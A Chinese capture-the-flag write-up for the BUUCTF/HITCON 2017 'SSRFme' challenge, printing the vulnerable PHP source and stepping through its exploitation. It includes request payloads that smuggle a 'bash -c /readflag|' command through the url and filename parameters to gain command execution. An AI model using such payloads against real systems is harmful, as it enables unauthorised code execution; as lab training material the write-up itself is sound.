BUUCTF之[HITCON 2017]SSRFme详解

题目链接:

BUUCTF在线评测

源码如下:

10.244.80.206 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

分析如下:

if语句里是将xff头和ip地址打散后存入一个数组,没啥太大的作用。

 echo $_SERVER["REMOTE_ADDR"]; //返回ip地址。

 $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//题目提供了沙盒目录,目录名就是sandbox ,md5是将(orangeip地址)这个整体进行加密。

注意加密的时候注意orange和IP地址之间不能有空格,不然就访问不了。

MD5加密网址:MD5在线加密 - MD5加密工具 - MD5在线生成

这里的话先了解下这个加密内容,后面读取flag的时候需要用到,再接着分析:

@mkdir($sandbox);
​@chdir($sandbox);//创建和改变当前沙盒目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); //传入url,并通过GET构造shell命令。

$info = pathinfo($_GET["filename"]); //数组的形式输出文件信息。

$dir  = str_replace(".", "", basename($info["dirname"]));//返回文件名

@file_put_contents(basename($info["basename"]), $data);//文件包含shell命令。

GET /读取根目录

?url= /&filename=zhecho //创个目录

给了沙盒目录, $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

再md5 加密 orangeip地址 MD5在线加密 - MD5加密工具 - MD5在线生成,注意中间不能有空格!!!

/sandbox/fcf2bccafc269c160382150a0166d632/zhecho //访问目录,有个readflag
/?url=file:bash -c /readflag|&filename=bash -c /readflag| //创建一个和readflag相同名字的文件
/?url=file:bash -c /readflag|&filename=aaa //修改存储的文件,并读取flag输入到存储的文件中去。
/sandbox/2eeed2f9aeae6311b507ada8fb98809e/aaa
//访问aaa文件拿到flag。
拿到flag:flag{8294d6b3-efb0-4fc1-b645-94bba15e2606}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值